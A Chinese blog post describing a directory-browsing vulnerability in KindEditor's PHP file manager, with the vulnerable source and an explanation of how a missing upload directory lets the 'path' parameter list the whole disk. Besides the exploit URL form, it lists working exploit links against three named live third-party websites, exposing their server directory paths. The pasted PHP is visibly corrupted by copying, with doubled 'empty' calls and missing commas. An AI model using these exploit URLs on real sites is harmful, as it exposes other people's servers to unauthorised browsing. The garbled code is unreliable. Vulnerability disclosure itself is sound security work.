Kindeditor特定情况可能会导致全盘浏览的漏洞

    因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。

    下载地址:

    貌似是最新版本的。

    测试语言:PHP
    测试漏洞文件:/kindeditor/php/file_manager_json.php
    默认配置(第16行):

    $root_path = $php_path . ‘../attached/’;

    当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子:

    $root_path = $php_path . ‘../../../upload/’;

    这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。

    怎么造成了漏洞的呢?我们分析下。

    PHP Code复制内容到剪贴板
    1. <?php   
    2. /**  
    3.  * KindEditor PHP  
    4.  *  
    5.  * 本PHP程序是演示程序,建议不要直接在实际项目中使用。  
    6.  * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。  
    7.  *  
    8.  */  
    9.   
    10. require_once ‘JSON.php’;   
    11.   
    12. $php_path = dirname(__FILE__) . ‘/’;   
    13. $php_url = dirname($_SERVER[‘PHP_SELF’]) . ‘/’;   
    14.   
    15. //根目录路径,可以指定绝对路径,比如 /var/www/attached/   
    16. $root_path = $php_path . ‘../../../upload/’;   
    17. //根目录URL,可以指定绝对路径,比如 http://www.yoursite.com/attached/   
    18. $root_url = $php_url . ‘../../../upload/’;   
    19. //图片扩展名   
    20. $ext_arr = array(‘gif’‘jpg’‘jpeg’‘png’‘bmp’);   
    21.   
    22. //目录名   
    23. $dir_name = emptyempty($_GET[‘dir’]) ?  : trim($_GET[‘dir’]);   
    24. if (!in_array($dir_namearray(‘image’‘flash’‘media’‘file’))) {   
    25. echo "Invalid Directory name.";   
    26. exit;   
    27. }   
    28. if ($dir_name !== ) {   
    29. $root_path .= $dir_name . "/";   
    30. $root_url .= $dir_name . "/";   
    31. if (!file_exists($root_path)) {   
    32. mkdir($root_path);   
    33. }   
    34. }   
    35.   
    36. //根据path参数,设置各路径和URL   
    37. if (emptyempty($_GET[‘path’])) {   
    38. $current_path = realpath($root_path) . ‘/’;   
    39. $current_url = $root_url;   
    40. $current_dir_path = ;   
    41. $moveup_dir_path = ;   
    42. else {   
    43. $current_path = realpath($root_path) . ‘/’ . $_GET[‘path’];   
    44. $current_url = $root_url . $_GET[‘path’];   
    45. $current_dir_path = $_GET[‘path’];   
    46. $moveup_dir_path = preg_replace(‘/(.*?)[^\/]+\/$/’‘$1’$current_dir_path);   
    47. }   
    48. //echo realpath($root_path);   
    49. //排序形式,name or size or type   
    50. $order = emptyempty($_GET[‘order’]) ? ‘name’ : strtolower($_GET[‘order’]);   
    51.   
    52. //不允许使用..移动到上一级目录   
    53. if (preg_match(‘/\.\./’$current_path)) {   
    54. echo ‘Access is not allowed.’;   
    55. exit;   
    56. }   
    57. //最后一个字符不是/   
    58. if (!preg_match(‘/\/$/’$current_path)) {   
    59. echo ‘Parameter is not valid.’;   
    60. exit;   
    61. }   
    62. //目录不存在或不是目录   
    63. if (!file_exists($current_path) || !is_dir($current_path)) {   
    64. echo ‘Directory does not exist.’;   
    65. exit;   
    66. }   
    67.   
    68. //遍历目录取得文件信息   
    69. $file_list = array();   
    70. if ($handle = opendir($current_path)) {   
    71. $i = 0;   
    72. while (false !== ($filename = readdir($handle))) {   
    73. if ($filename{0} == ‘.’continue;   
    74. $file = $current_path . $filename;   
    75. if (is_dir($file)) {   
    76. $file_list[$i][‘is_dir’] = true; //是否文件夹   
    77. $file_list[$i][‘has_file’] = (count(scandir($file)) > 2); //文件夹是否包含文件   
    78. $file_list[$i][‘filesize’] = 0; //文件大小   
    79. $file_list[$i][‘is_photo’] = false; //是否图片   
    80. $file_list[$i][‘filetype’] = //文件类别,用扩展名判断   
    81. else {   
    82. $file_list[$i][‘is_dir’] = false;   
    83. $file_list[$i][‘has_file’] = false;   
    84. $file_list[$i][‘filesize’] = filesize($file);   
    85. $file_list[$i][‘dir_path’] = ;   
    86. $file_ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));   
    87. $file_list[$i][‘is_photo’] = in_array($file_ext$ext_arr);   
    88. $file_list[$i][‘filetype’] = $file_ext;   
    89. }   
    90. $file_list[$i][‘filename’] = $filename//文件名,包含扩展名   
    91. $file_list[$i][‘datetime’] = date(‘Y-m-d H:i:s’filemtime($file)); //文件最后修改时间   
    92. $i++;   
    93. }   
    94. closedir($handle);   
    95. }   
    96.   
    97. //排序   
    98. function cmp_func($a$b) {   
    99. global $order;   
    100. if ($a[‘is_dir’] && !$b[‘is_dir’]) {   
    101. return -1;   
    102. else if (!$a[‘is_dir’] && $b[‘is_dir’]) {   
    103. return 1;   
    104. else {   
    105. if ($order == ‘size’) {   
    106. if ($a[‘filesize’] > $b[‘filesize’]) {   
    107. return 1;   
    108. else if ($a[‘filesize’] < $b[‘filesize’]) {   
    109. return -1;   
    110. else {   
    111. return 0;   
    112. }   
    113. else if ($order == ‘type’) {   
    114. return strcmp($a[‘filetype’], $b[‘filetype’]);   
    115. else {   
    116. return strcmp($a[‘filename’], $b[‘filename’]);   
    117. }   
    118. }   
    119. }   
    120. usort($file_list‘cmp_func’);   
    121.   
    122. $result = array();   
    123. //相对于根目录的上一级目录   
    124. $result[‘moveup_dir_path’] = $moveup_dir_path;   
    125. //相对于根目录的当前目录   
    126. $result[‘current_dir_path’] = $current_dir_path;   
    127. //当前目录的URL   
    128. $result[‘current_url’] = $current_url;   
    129. //文件数   
    130. $result[‘total_count’] = count($file_list);   
    131. //文件列表数组   
    132. $result[‘file_list’] = $file_list;   
    133.   
    134. //输出JSON字符串   
    135. header(‘Content-type: application/json; charset=UTF-8’);   
    136. $json = new Services_JSON();   
    137. echo $json->encode($result);  

    第三十八行:

    $current_path = realpath($root_path) . ‘/’;

    当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的’/’

    $current_path所以默认就等于’/’

    当提交了$_GET[‘path’]以后,而且$_GET[‘path’]要以’/’为结尾(有验证),所以,我们就可以构造浏览全盘目录了。

    kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录)

    接着上面给出验证的(互联网找到几个):
    先给本地的(attached文件夹被我删了):

    互联网找到的:

    http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=image

    http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/

    http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/

    修复方案:再验证下绝对路径?

发表评论

发表评论